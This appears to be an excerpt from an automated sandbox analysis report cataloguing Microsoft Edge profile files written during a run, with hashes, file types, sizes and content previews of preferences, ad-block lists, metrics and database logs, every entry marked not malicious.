Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\90955dc9-a1fe-4c90-a5bb-eea7748bb773.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44698
Entropy (8bit):	6.095520590080026
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkBKwuDhDO6vP6OJa5KpRSDJpkXFfDucGoup1Xl3jVu:z/Ps+wsI7yOEN6pN+chu3VlXr4CRo1
MD5:	2E4F9CEE933145E57F33BB031471F762
SHA1:	1CA970AF1EFC94D188693A2FBF250DEEF19DBBDF
SHA-256:	847CEBDFAE419D47C3241FB4C22EC50D9DC8E59C56B79C4E79EFC602AE597581
SHA-512:	40DAF6BB9A52071DF95FE65FFADF62A2A45C6F620FDD209631DED1DEA002B2C2F1B07E5C06F221B016B6C5143E165432204D0857F407CE81002428CC87C1751B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\95c8fd2f-1a10-456b-a83f-8192221d5e29.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46067
Entropy (8bit):	6.087421687526053
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQgx9MLLuwhDO6vP6OJa5KpRSDJpkXFfDuhy1DhSCAoWGoup1Xl0:mMk1rT8HR9M26pN+01sRoWhu3VlXr4x
MD5:	FBEA2A0D413FAE7EA9D9053905A55346
SHA1:	9CC0A5EB320377C715D8781FF2930342E5098D5D
SHA-256:	C47B5D0CD3E28A7E78D9B2A0206B8A3140F1CC01376C4C49CDA6815117D88E2A
SHA-512:	CF88C9FEE4B506418DAD32AE4FC4212B206A439A43AC851975BA17C36E5F65EECDAEDBB20DE3A8F6671BBE1EBC5BB154A3F76823474E835C7C0FA06A61196322
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\537cd02a-4b34-4a35-82d5-7c9087f86b89.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640156600019748
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7y:fwUQC5VwBIiElEd2K57P7y
MD5:	CF5F0871A3745A85317A43ECCC3E08B5
SHA1:	D09B075E23832A146D9CA0E9C94FA25F1A6FC595
SHA-256:	C3368F87F586F7BA42EA73C4438A60FB2A6F65873CC9801968A370CF025256AD
SHA-512:	2E01C6EE2FE7BBE157F1A5FC172899DE97EFC2F18821E3F1DC1745E8FB4D0D907CCCDCD02F96E036AA5F61FBEDA2C7CB4F2F7F2D687D8D0BFD97CB6B211F715F
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640156600019748
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7y:fwUQC5VwBIiElEd2K57P7y
MD5:	CF5F0871A3745A85317A43ECCC3E08B5
SHA1:	D09B075E23832A146D9CA0E9C94FA25F1A6FC595
SHA-256:	C3368F87F586F7BA42EA73C4438A60FB2A6F65873CC9801968A370CF025256AD
SHA-512:	2E01C6EE2FE7BBE157F1A5FC172899DE97EFC2F18821E3F1DC1745E8FB4D0D907CCCDCD02F96E036AA5F61FBEDA2C7CB4F2F7F2D687D8D0BFD97CB6B211F715F
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6729E1C3-1FC0.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.45071361021548084
Encrypted:	false
SSDEEP:	6144:dftZWjpUApNip4SvRcZqJsgn0DmIaHrS:wBNiWSHR
MD5:	A81465E126751FED9EE29E5FB72B498D
SHA1:	DB4520114A2AA275E9A0CB62768277053D2F81D0
SHA-256:	4F3AE11E6AB8726CA9EE3B870920BD4DFC970F28CA6C9AB86FB9D903DFA7C3E9
SHA-512:	8FEA4AFAB13442DD823E2C89ED75B90BBE945911DB01191309A21DA5E6B5D8D5A84DA44743CC9019EB13C49330AA3C2F2F773B18EA2148AB14389C38ED650F29
Malicious:	false
Preview:	...@..@...@.....C.].....@...................................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".uenqch20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U?:K...G...W6.>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2........V...... .2......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\60d569c4-1a41-44c2-bd7c-8465aa0d1a6a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17529), with no line terminators
Category:	dropped
Size (bytes):	17530
Entropy (8bit):	5.492959739762317
Encrypted:	false
SSDEEP:	384:stPPGQSu4Ksmgfh2DV1JlpbGuQwB6WZaTY+:sdOXu3gfibG9mtaTY+
MD5:	70542915F637485F4F8555558AFD8A75
SHA1:	12EA9C9A419790393A640E717BA5832C1790648F
SHA-256:	48F9B41B5C2C7D8D00226F99DC18DED98B0996FDE1DA92E64D950A24C653C37E
SHA-512:	7A115F5F1E668B3C453B544537BFDAD18B2ECA347DFAA1B94EB4A9C03DE0C217F244CDFB083BC859B70B3A4520BCA3508E65A3793D0F87339FCA8583C910485D
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375271620101072","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\62a25481-8d2a-4992-a5f9-0b572fc6106a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\745f2acd-a9be-4f7c-a429-f636f5506861.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17694), with no line terminators
Category:	dropped
Size (bytes):	17695
Entropy (8bit):	5.489628174445887
Encrypted:	false
SSDEEP:	384:stPPGQSu4Ksmgfh2DV1JlpbGuQwB6WhlaTY+:sdOXu3gfibG9mjaTY+
MD5:	46ADF228D3732814AF30958B2EAF749A
SHA1:	C7724889CC4CAECDD9158ABE502772D51E5BD04D
SHA-256:	41073687C8DC2C4AFCF762757349632BD17E009C59382376457A70B96234F2C2
SHA-512:	F65800D68E1CC17BF9B5C6A62C83B5F8CC70B1A205B623D1F14B161B6B6582AB0E9714522BE43A7B4018FF4C1ACAC40C51C6A3EDC28F906CC3555F4F1F052A09
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375271620101072","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\8a0741cf-a74b-47b4-ac09-058d231110ac.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17694), with no line terminators
Category:	modified
Size (bytes):	17695
Entropy (8bit):	5.489526496078863
Encrypted:	false
SSDEEP:	384:stPPGQSu4Ksmgfh2DV1JlpbGuQwB6WylaTY+:sdOXu3gfibG9mgaTY+
MD5:	612EE41997EA8C890FAD6A18DE7F922D
SHA1:	FC332412230B19C78EE5945DD0CECCA0B811FF7D
SHA-256:	75358A6D36D4DB29DC88FD8C78312509B45A6EA4CF3853E3B1EDA6FDCC33B97F
SHA-512:	FF2448B7CD589586F89D62CAF75D4881F39E42AEA5ED6973910A86FC676C327F9982C428F6151982696CB422BAFFBC9CE6B08D2A1267C13EE652A89C053213F4
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375271620101072","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.221987988087036
Encrypted:	false
SSDEEP:	6:H6AtZb1923oH+Tcwtp3hBtB2KLlV6AthAVAq2P923oH+Tcwtp3hBWsIFUv:rZOYebp3dFLzhAVAv4Yebp3eFUv
MD5:	8CD24C8E68A2B6492BFA13578F11D250
SHA1:	B53838FBFBDF70B70FD9B758C5F99DD78C189DC1
SHA-256:	5D1F591A0972B07DE668DE9014F12750BDBF2919D1EF8CCF0BB0702D30BF0CFD
SHA-512:	1FCB45F82A9D0762401FC0E900C2428F15455540873E05861FDC39FDB7CF127524C140C5FAFD7C5E573CA32C37CF9161AC8BBB6ADB15093940BA569F6C85079F
Malicious:	false
Preview:	2024/11/05-04:13:44.583 1e00 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/05-04:13:44.746 1e00 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222874338978255
Encrypted:	false
SSDEEP:	24576:v+/PN8FQfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:v+/PN8mfx2mjF
MD5:	209C10DE0E252B439B11B5A6D1639423
SHA1:	8FCFC422834AE6B63BDC42389062B91BC7ECEE1C
SHA-256:	57E1F983B17F4E965500B34B741B2020E9D7BAE1A5C7C48B2305E7AD2577D4AC
SHA-512:	BC1764CA05FD69216B33FDC1EE1C56A4F97BBE3995051E40301D782BAF1D0CC45A79700E642368DA60410324443C02FD427273B622DD7C59269055751F80D293
Malicious:	false
Preview:	...m.................DB_VERSION.1.l.i.................QUERY_TIMESTAMP:arbitration_priority_list4...13340900604462938.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.095677643595352
Encrypted:	false
SSDEEP:	6:H6At94q2P923oH+Tcwt9Eh1tIFUt8Y6At613JZmw+Y6At89DkwO923oH+Tcwt9Er:r+v4Yeb9Eh16FUt8w6H/+wk5LYeb9Ehx
MD5:	E5180D39FC712804BC971B472E1FA102
SHA1:	0DB091E15473B89EDFB826FA2074C0E283406AAA
SHA-256:	3EC6B2D38F70BE6F7577280166706F11A9F9C748060BC9F04777121E3843E673
SHA-512:	CF0450E838332B9FC91A369B4425C82D9F34B1B7CCF48106AD51EE4E5C91ED471A6CA8BAEC063E5A79F9FAB8E6BB25F4C8BA46DE66D95521718BF7BEB8D25B28
Malicious:	false
